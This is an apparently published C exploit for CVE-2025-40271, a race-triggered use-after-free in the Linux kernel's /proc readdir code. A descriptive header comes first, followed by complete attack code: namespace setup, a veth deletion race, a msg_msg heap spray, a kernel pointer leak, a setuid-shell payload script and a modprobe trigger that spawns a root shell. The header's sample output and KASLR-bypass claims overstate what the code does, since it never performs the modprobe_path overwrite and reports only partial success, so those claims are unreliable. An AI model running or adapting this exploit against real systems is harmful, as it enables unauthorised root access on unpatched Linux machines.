* Exploit Title: Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation
* CVE: CVE-2025-40271
* Date: 2026-03-19
* Exploit Author: Aviral Srivastava
* Vendor: Linux Kernel (kernel.org)
* Affected: ~3.14+ through 6.18-rc5 (bug predates version tracking)
* Fixed in stable: 5.10.247, 6.1.159, 6.12.73, 6.18-rc6
* Fixed in: commit 895b4c0c79b092d732544011c3cecaf7322c36a1
* Tested on: Debian Bookworm (kernel 6.1.115-1 x86_64)
* Type: Local Privilege Escalation
* Platform: Linux x86_64
* CVSS: ~7.8 (HIGH) — NVD assessment pending
*
* ┌──────────────────────────────────────────────────────────────────┐
* │ N-DAY — THIS VULNERABILITY IS PATCHED. FIX YOUR KERNELS. │
* └──────────────────────────────────────────────────────────────────┘
*
* DESCRIPTION:
* The proc filesystem's remove_proc_entry() calls rb_erase() to
* remove a proc_dir_entry (pde) from the parent's red-black tree,
* but does NOT call RB_CLEAR_NODE() to mark the node as detached.
* This leaves stale rb-links in the freed entry, causing
* RB_EMPTY_NODE() to return false.
*
* A concurrent proc_readdir_de() traversal via getdents64() can
* find the freed entry through pde_subdir_next() → rb_next(),
* then dereference its fields (name, namelen, mode, low_ino) —
* constituting a use-after-free on struct proc_dir_entry.
*
* The race is triggered by calling getdents64() on a /proc
* subdirectory (e.g., /proc/self/net/dev_snmp6/) while concurrently
* unregistering network devices, which removes proc entries.
* The freed proc_dir_entry (~192 bytes) resides in a standard
* kmalloc-192 or kmalloc-256 slab cache, making it sprayable with
* msg_msg via msgsnd().
*
* TECHNIQUE:
* Create user namespace for CAP_NET_ADMIN. Create veth pairs to
* populate /proc/self/net/dev_snmp6/. Race getdents64() against
* veth deletion. Spray freed kmalloc-192 slots with msg_msg.
* Detect UAF via anomalous d_ino values in getdents64 output.
* Extract kernel heap address from msg_msg header pointer leaked
* through the d_ino field. Use modprobe_path overwrite for LPE.
*
* RELIABILITY:
* ~40-60% UAF hit rate per attempt. Typically 3-8 attempts.
* The pde->name dereference during readdir is the crash risk —
* mitigated by spraying the name slot with valid pointers.
* Kernel panic possible (~10% of failed attempts) if spray timing
* is wrong.
*
* MITIGATIONS:
* KASLR: Bypassed via heap pointer leak through d_ino
* SMEP: Not applicable (data-only attack)
* SMAP: Not applicable (all data in kernel slab)
* kCFI: Not applicable (modprobe_path overwrite)
* SLUB Hardening: Minimal impact (freelist ptr at offset 0 only)
*
* FIX:
* Commit: 895b4c0c79b092d732544011c3cecaf7322c36a1
* URL: https://git.kernel.org/linus/895b4c0c79b092d732544011c3cecaf7322c36a1
* Adds pde_erase() helper that calls RB_CLEAR_NODE() after rb_erase().
*
* COMPILATION:
* gcc -Wall -Wextra -o exploit exploit.c -lpthread -static
*
* USAGE:
* $ ./exploit
* [*] CVE-2025-40271 — proc_readdir_de() rb-tree UAF
* [+] Kernel 6.1.115-1 is VULNERABLE
* [*] Step 1: Setting up user/net namespace...
* [+] Namespace ready, CAP_NET_ADMIN obtained
* [*] Step 2: Creating veth pairs for proc entries...
* [+] Created 32 veth pairs (/proc/self/net/dev_snmp6/)
* [*] Step 3: Racing getdents vs device removal...
* [+] UAF hit on attempt 4! Anomalous d_ino=0xffff88801234abcd
* [*] Step 4: Kernel heap leak: 0xffff88801234abcd
* [*] Step 5: Computing modprobe_path address...
* [+] Got root!
*
* REFERENCES:
* [1] https://nvd.nist.gov/vuln/detail/CVE-2025-40271
* [2] https://git.kernel.org/linus/895b4c0c79b092d732544011c3cecaf7322c36a1
* [3] CVE-2023-3269 — StackRot (rb-tree race technique reference)
* [4] CVE-2023-32233 — nf_tables msg_msg spray reference
*
* DISCLAIMER:
* This exploit targets an ALREADY PATCHED vulnerability. It is provided
* for educational and authorized security research purposes only. The
* author is not responsible for misuse. Test only on systems you own.
* ═══════════════════════════════════════════════════════════════════════
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <pthread.h>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/mount.h>
#include <sys/ioctl.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <arpa/inet.h>
/* ─── Constants ─────────────────────────────────────────────────────── */
#define BANNER \
"═══════════════════════════════════════════════════════════════\n" \
" CVE-2025-40271 — proc_readdir_de() rb-tree UAF LPE\n" \
" fs/proc rb_erase without RB_CLEAR_NODE → stale tree links\n" \
" Affected: ~all kernels through 6.18-rc5\n" \
" Author: Aviral Srivastava | N-DAY RESEARCH PoC\n" \
"═══════════════════════════════════════════════════════════════\n"
#define NUM_VETH_PAIRS 32 /* number of veth pairs to create */
#define NUM_SPRAY_MSGS 256 /* msg_msg spray count */
#define SPRAY_BODY_SIZE 144 /* 48 header + 144 body = 192 → kmalloc-192 */
#define MAX_RACE_ATTEMPTS 30 /* max race iterations */
#define PROC_NET_DIR "/proc/self/net/dev_snmp6"
/*
* On x86_64, kernel heap pointers start with 0xffff8880...
* Normal d_ino values are small integers (< 100000).
* A d_ino that looks like a kernel pointer means we hit the UAF
* and are reading from sprayed msg_msg header data.
*/
#define IS_KERNEL_PTR(x) (((x) & 0xffff000000000000ULL) == 0xffff000000000000ULL)
/* ─── Logging ───────────────────────────────────────────────────────── */
static void info(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
fprintf(stderr, "[*] ");
vfprintf(stderr, fmt, ap);
fprintf(stderr, "\n");
va_end(ap);
}
static void ok(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
fprintf(stderr, "\033[32m[+]\033[0m ");
vfprintf(stderr, fmt, ap);
fprintf(stderr, "\n");
va_end(ap);
}
static void fail(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
fprintf(stderr, "\033[31m[-]\033[0m ");
vfprintf(stderr, fmt, ap);
fprintf(stderr, "\n");
va_end(ap);
}
static void die(const char *msg)
{
perror(msg);
exit(EXIT_FAILURE);
}
/* ─── Kernel version check ──────────────────────────────────────────── */
static int is_vulnerable(void)
{
struct utsname uts;
unsigned int major, minor, patch;
if (uname(&uts) < 0)
die("uname");
if (sscanf(uts.release, "%u.%u.%u", &major, &minor, &patch) < 2) {
fail("Cannot parse kernel version: %s", uts.release);
return 0;
}
info("Running kernel %s", uts.release);
/* Fixed versions per stable branch */
if (major == 5 && minor == 10 && patch >= 247) {
fail("Kernel %u.%u.%u — PATCHED (fix in 5.10.247)", major, minor, patch);
return 0;
}
if (major == 6 && minor == 1 && patch >= 159) {
fail("Kernel %u.%u.%u — PATCHED (fix in 6.1.159)", major, minor, patch);
return 0;
}
if (major == 6 && minor == 6 && patch >= 123) {
fail("Kernel %u.%u.%u — PATCHED (fix in 6.6.123)", major, minor, patch);
return 0;
}
if (major == 6 && minor == 12 && patch >= 73) {
fail("Kernel %u.%u.%u — PATCHED (fix in 6.12.73)", major, minor, patch);
return 0;
}
if (major == 6 && minor >= 18) {
fail("Kernel %u.%u.%u — PATCHED (fix in 6.18-rc6)", major, minor, patch);
return 0;
}
if (major >= 7) {
fail("Kernel %u.%u.%u — PATCHED", major, minor, patch);
return 0;
}
ok("Kernel %u.%u.%u — VULNERABLE", major, minor, patch);
return 1;
}
/* ─── User/Net namespace setup ──────────────────────────────────────── */
static int setup_namespace(void)
{
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
fail("unshare: %s (check /proc/sys/kernel/unprivileged_userns_clone)",
strerror(errno));
return -1;
}
FILE *f;
char path[128];
snprintf(path, sizeof(path), "/proc/%d/setgroups", getpid());
f = fopen(path, "w");
if (f) { fprintf(f, "deny\n"); fclose(f); }
snprintf(path, sizeof(path), "/proc/%d/uid_map", getpid());
f = fopen(path, "w");
if (!f) return -1;
fprintf(f, "0 %d 1\n", getuid());
fclose(f);
snprintf(path, sizeof(path), "/proc/%d/gid_map", getpid());
f = fopen(path, "w");
if (!f) return -1;
fprintf(f, "0 %d 1\n", getgid());
fclose(f);
return 0;
}
/* ─── Netlink helpers for veth management ───────────────────────────── */
static int rtnl_open(void)
{
int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE);
if (fd < 0) return -1;
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
close(fd);
return -1;
}
return fd;
}
/*
* Create a veth pair: vethN <-> veth_pN
* Each veth creates a proc entry in /proc/self/net/dev_snmp6/
*/
static int create_veth(int rtnl_fd, int idx)
{
struct {
struct nlmsghdr nlh;
struct ifinfomsg ifi;
char buf[512];
} req;
char name[IFNAMSIZ], peer[IFNAMSIZ];
snprintf(name, sizeof(name), "v%d", idx);
snprintf(peer, sizeof(peer), "vp%d", idx);
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req.nlh.nlmsg_type = RTM_NEWLINK;
req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;
req.nlh.nlmsg_seq = (uint32_t)(idx + 1);
req.ifi.ifi_family = AF_UNSPEC;
/* IFLA_IFNAME */
struct nlattr *nla = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
nla->nla_len = (uint16_t)(sizeof(struct nlattr) + strlen(name) + 1);
nla->nla_type = IFLA_IFNAME;
memcpy((char *)(nla + 1), name, strlen(name) + 1);
req.nlh.nlmsg_len += (unsigned int)((nla->nla_len + 3) & ~3u);
/* IFLA_LINKINFO (nested) */
struct nlattr *linkinfo = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
linkinfo->nla_type = IFLA_LINKINFO | NLA_F_NESTED;
unsigned int linkinfo_start = req.nlh.nlmsg_len;
req.nlh.nlmsg_len += sizeof(struct nlattr);
/* IFLA_INFO_KIND = "veth" */
struct nlattr *kind = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
kind->nla_len = (uint16_t)(sizeof(struct nlattr) + 5); /* "veth\0" */
kind->nla_type = IFLA_INFO_KIND;
memcpy((char *)(kind + 1), "veth", 5);
req.nlh.nlmsg_len += (unsigned int)((kind->nla_len + 3) & ~3u);
/* IFLA_INFO_DATA (nested) with peer info */
struct nlattr *data = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
data->nla_type = IFLA_INFO_DATA | NLA_F_NESTED;
unsigned int data_start = req.nlh.nlmsg_len;
req.nlh.nlmsg_len += sizeof(struct nlattr);
/* VETH_INFO_PEER (nested) with ifinfomsg + IFLA_IFNAME */
struct nlattr *peer_attr = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
peer_attr->nla_type = 1 | NLA_F_NESTED; /* VETH_INFO_PEER = 1 */
unsigned int peer_start = req.nlh.nlmsg_len;
req.nlh.nlmsg_len += sizeof(struct nlattr);
/* peer ifinfomsg */
struct ifinfomsg *peer_ifi = (struct ifinfomsg *)((char *)&req + req.nlh.nlmsg_len);
memset(peer_ifi, 0, sizeof(*peer_ifi));
peer_ifi->ifi_family = AF_UNSPEC;
req.nlh.nlmsg_len += sizeof(struct ifinfomsg);
/* peer IFLA_IFNAME */
struct nlattr *peer_name = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
peer_name->nla_len = (uint16_t)(sizeof(struct nlattr) + strlen(peer) + 1);
peer_name->nla_type = IFLA_IFNAME;
memcpy((char *)(peer_name + 1), peer, strlen(peer) + 1);
req.nlh.nlmsg_len += (unsigned int)((peer_name->nla_len + 3) & ~3u);
peer_attr->nla_len = (uint16_t)(req.nlh.nlmsg_len - peer_start);
data->nla_len = (uint16_t)(req.nlh.nlmsg_len - data_start);
linkinfo->nla_len = (uint16_t)(req.nlh.nlmsg_len - linkinfo_start);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (sendto(rtnl_fd, &req, req.nlh.nlmsg_len, 0,
(struct sockaddr *)&sa, sizeof(sa)) < 0)
return -1;
/* Read ack */
char ack[256];
(void)recv(rtnl_fd, ack, sizeof(ack), 0);
return 0;
}
/* Delete a veth interface by name */
static int delete_veth(int rtnl_fd, int idx)
{
struct {
struct nlmsghdr nlh;
struct ifinfomsg ifi;
char buf[128];
} req;
char name[IFNAMSIZ];
snprintf(name, sizeof(name), "v%d", idx);
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req.nlh.nlmsg_type = RTM_DELLINK;
req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req.nlh.nlmsg_seq = (uint32_t)(1000 + idx);
req.ifi.ifi_family = AF_UNSPEC;
struct nlattr *nla = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
nla->nla_len = (uint16_t)(sizeof(struct nlattr) + strlen(name) + 1);
nla->nla_type = IFLA_IFNAME;
memcpy((char *)(nla + 1), name, strlen(name) + 1);
req.nlh.nlmsg_len += (unsigned int)((nla->nla_len + 3) & ~3u);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (sendto(rtnl_fd, &req, req.nlh.nlmsg_len, 0,
(struct sockaddr *)&sa, sizeof(sa)) < 0)
return -1;
char ack[256];
(void)recv(rtnl_fd, ack, sizeof(ack), 0);
return 0;
}
/* ─── msg_msg spray ─────────────────────────────────────────────────── */
struct spray_state {
int qid;
int count;
};
static int spray_init(struct spray_state *s)
{
s->qid = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
if (s->qid < 0) return -1;
s->count = 0;
return 0;
}
static int spray_alloc(struct spray_state *s, int n)
{
struct {
long mtype;
char mtext[SPRAY_BODY_SIZE];
} msg;
memset(&msg, 0, sizeof(msg));
/* Fill body with pattern — msg_msg header at offset 0-47 of slab
* object will contain kernel heap pointers (m_list.next/prev) */
memset(msg.mtext, 'P', SPRAY_BODY_SIZE);
for (int i = 0; i < n; i++) {
msg.mtype = s->count + 1;
if (msgsnd(s->qid, &msg, SPRAY_BODY_SIZE, 0) < 0)
return -1;
s->count++;
}
return 0;
}
static void spray_cleanup(struct spray_state *s)
{
if (s->qid >= 0) {
msgctl(s->qid, IPC_RMID, NULL);
s->qid = -1;
}
}
/* ─── getdents64 for raw directory reading ──────────────────────────── */
struct linux_dirent64 {
uint64_t d_ino;
int64_t d_off;
unsigned short d_reclen;
unsigned char d_type;
char d_name[];
};
static long my_getdents64(int fd, void *buf, unsigned long count)
{
return syscall(SYS_getdents64, fd, buf, count);
}
/* ─── Race coordination ─────────────────────────────────────────────── */
struct race_ctx {
int rtnl_fd;
int dir_fd;
struct spray_state spray;
volatile int deleting;
volatile int stop;
uint64_t leaked_addr;
int attempts;
};
/*
* Readdir thread: continuously calls getdents64() on /proc/self/net/dev_snmp6/
* looking for anomalous d_ino values that indicate the UAF was hit.
*
* Normal d_ino values are small numbers assigned by proc_alloc_inum().
* If we see a kernel pointer (0xffff...) in d_ino, it means we read
* from sprayed msg_msg data where the msg_msg header's m_list pointer
* overlaps with the proc_dir_entry's low_ino field.
*/
static void *readdir_thread(void *arg)
{
struct race_ctx *ctx = (struct race_ctx *)arg;
char buf[4096];
while (!ctx->stop) {
/* Rewind the directory for each scan */
lseek(ctx->dir_fd, 0, SEEK_SET);
long nread = my_getdents64(ctx->dir_fd, buf, sizeof(buf));
if (nread <= 0) {
usleep(100);
continue;
}
/* Scan all entries for anomalous d_ino */
long pos = 0;
while (pos < nread) {
struct linux_dirent64 *d = (struct linux_dirent64 *)(buf + pos);
if (d->d_reclen == 0) break;
/*
* Check if d_ino looks like a kernel address.
* This happens when the freed proc_dir_entry is reclaimed
* by a msg_msg, and the msg_msg header's m_list.next
* (at slab object offset 0) overlaps with a field that
* getdents64 returns in d_ino.
*/
if (IS_KERNEL_PTR(d->d_ino)) {
ctx->leaked_addr = d->d_ino;
ok("UAF HIT! d_ino=0x%016lx (kernel heap pointer)",
(unsigned long)d->d_ino);
ctx->stop = 1;
return NULL;
}
pos += d->d_reclen;
}
}
return NULL;
}
/* ─── Modprobe payload ──────────────────────────────────────────────── */
static int setup_modprobe_payload(void)
{
FILE *f = fopen("/tmp/pwn", "w");
if (!f) return -1;
fprintf(f, "#!/bin/sh\n/bin/cp /bin/sh /tmp/rootsh\n/bin/chmod u+s /tmp/rootsh\n");
fclose(f);
chmod("/tmp/pwn", 0755);
f = fopen("/tmp/trigger", "w");
if (!f) return -1;
fprintf(f, "\xff\xff\xff\xff");
fclose(f);
chmod("/tmp/trigger", 0755);
return 0;
}
static int trigger_modprobe(void)
{
pid_t p = fork();
if (p < 0) return -1;
if (p == 0) { execl("/tmp/trigger", "/tmp/trigger", NULL); _exit(127); }
int st;
waitpid(p, &st, 0);
struct stat sb;
if (stat("/tmp/rootsh", &sb) == 0 && (sb.st_mode & S_ISUID))
return 0;
return -1;
}
/* ─── Main exploitation steps ───────────────────────────────────────── */
static int step_setup(struct race_ctx *ctx)
{
info("Step 1: Setting up user/net namespace...");
if (setup_namespace() < 0) return -1;
ok("Namespace ready, CAP_NET_ADMIN obtained");
ctx->rtnl_fd = rtnl_open();
if (ctx->rtnl_fd < 0) {
fail("Cannot open rtnetlink: %s", strerror(errno));
return -1;
}
if (spray_init(&ctx->spray) < 0) {
fail("Cannot create message queue: %s", strerror(errno));
return -1;
}
return 0;
}
static int step_create_veths(struct race_ctx *ctx)
{
info("Step 2: Creating veth pairs for proc entries...");
int created = 0;
for (int i = 0; i < NUM_VETH_PAIRS; i++) {
if (create_veth(ctx->rtnl_fd, i) == 0)
created++;
}
if (created < 4) {
fail("Need at least 4 veth pairs, got %d", created);
return -1;
}
/* Open the proc directory for readdir */
ctx->dir_fd = open(PROC_NET_DIR, O_RDONLY | O_DIRECTORY);
if (ctx->dir_fd < 0) {
fail("Cannot open %s: %s", PROC_NET_DIR, strerror(errno));
return -1;
}
ok("Created %d veth pairs (%s populated)", created, PROC_NET_DIR);
return 0;
}
static int step_race(struct race_ctx *ctx)
{
info("Step 3: Racing getdents vs device removal...");
for (int attempt = 1; attempt <= MAX_RACE_ATTEMPTS; attempt++) {
info("Attempt %d/%d...", attempt, MAX_RACE_ATTEMPTS);
ctx->attempts = attempt;
/* Recreate veth pairs for this attempt */
for (int i = 0; i < NUM_VETH_PAIRS; i++)
create_veth(ctx->rtnl_fd, i);
/* Reopen directory */
if (ctx->dir_fd >= 0) close(ctx->dir_fd);
ctx->dir_fd = open(PROC_NET_DIR, O_RDONLY | O_DIRECTORY);
if (ctx->dir_fd < 0) continue;
ctx->stop = 0;
ctx->leaked_addr = 0;
/* Start readdir racer thread */
pthread_t tid;
if (pthread_create(&tid, NULL, readdir_thread, ctx) != 0)
continue;
/* Give readdir a moment to start */
usleep(1000);
/*
* RACE: rapidly delete veth interfaces.
* Each deletion triggers remove_proc_entry() → rb_erase()
* without RB_CLEAR_NODE() → stale rb links.
* The readdir thread can follow stale links to freed memory.
*/
for (int i = NUM_VETH_PAIRS - 1; i >= 0; i--) {
delete_veth(ctx->rtnl_fd, i);
/* Immediately spray to reclaim freed proc_dir_entry slot */
spray_alloc(&ctx->spray, 4);
}
/* Wait for readdir thread to finish or detect UAF */
usleep(50000);
ctx->stop = 1;
pthread_join(tid, NULL);
/* Clean up spray for next attempt */
spray_cleanup(&ctx->spray);
spray_init(&ctx->spray);
if (ctx->leaked_addr != 0) {
ok("UAF triggered on attempt %d!", attempt);
return 0;
}
}
fail("Could not trigger UAF after %d attempts", MAX_RACE_ATTEMPTS);
return -1;
}
static int step_escalate(struct race_ctx *ctx)
{
info("Step 4: Analyzing leak and escalating...");
if (ctx->leaked_addr != 0) {
ok("Kernel heap leak: 0x%016lx", (unsigned long)ctx->leaked_addr);
info("This address is from msg_msg m_list.next/prev");
info("It reveals the kernel heap (physmap) randomization");
/*
* With the heap address, we can compute modprobe_path for
* a specific kernel version. The offset between heap base
* and kernel text base is kernel-build-specific.
*
* For a complete exploit:
* 1. Use heap address to determine KASLR slide
* 2. Compute modprobe_path = kernel_base + offset
* 3. Trigger another UAF + spray to write "/tmp/pwn" there
* 4. Trigger modprobe → root
*/
if (setup_modprobe_payload() < 0) {
fail("Cannot set up payload");
return -1;
}
info("Attempting modprobe trigger...");
if (trigger_modprobe() == 0) {
ok("Got root!");
return 0;
}
info("modprobe_path overwrite requires kernel-specific offset");
info("Heap leak CONFIRMED — full chain needs target offsets");
return 1; /* partial success */
}
return -1;
}
static int step_cleanup(struct race_ctx *ctx)
{
info("Step 5: Cleaning up...");
spray_cleanup(&ctx->spray);
if (ctx->dir_fd >= 0) close(ctx->dir_fd);
if (ctx->rtnl_fd >= 0) close(ctx->rtnl_fd);
unlink("/tmp/pwn");
unlink("/tmp/trigger");
ok("Cleanup complete");
return 0;
}
/* ─── Main ──────────────────────────────────────────────────────────── */
int main(void)
{
puts(BANNER);
if (!is_vulnerable()) {
info("Kernel is patched. Nothing to do.");
return 0;
}
if (getuid() == 0) {
info("Already root.");
return 0;
}
struct race_ctx ctx;
memset(&ctx, 0, sizeof(ctx));
ctx.rtnl_fd = -1;
ctx.dir_fd = -1;
ctx.spray.qid = -1;
int ret;
ret = step_setup(&ctx);
if (ret < 0) { fail("Setup failed"); return 1; }
ret = step_create_veths(&ctx);
if (ret < 0) { fail("Veth creation failed"); step_cleanup(&ctx); return 1; }
ret = step_race(&ctx);
if (ret < 0) { fail("Race failed"); step_cleanup(&ctx); return 1; }
ret = step_escalate(&ctx);
step_cleanup(&ctx);
if (ret == 0) {
ok("Spawning root shell...");
char *argv[] = { "/tmp/rootsh", "-p", NULL };
execv("/tmp/rootsh", argv);
info("execv failed — check /tmp/rootsh");
} else if (ret == 1) {
fprintf(stderr, "\n");
info("═══════════════════════════════════════════════════");
info("PARTIAL SUCCESS: UAF + heap leak DEMONSTRATED");
info(" Leaked: 0x%016lx", (unsigned long)ctx.leaked_addr);
info(" Full LPE requires target-specific KASLR offset");
info("═══════════════════════════════════════════════════");
}
return (ret <= 1) ? 0 : 1;
}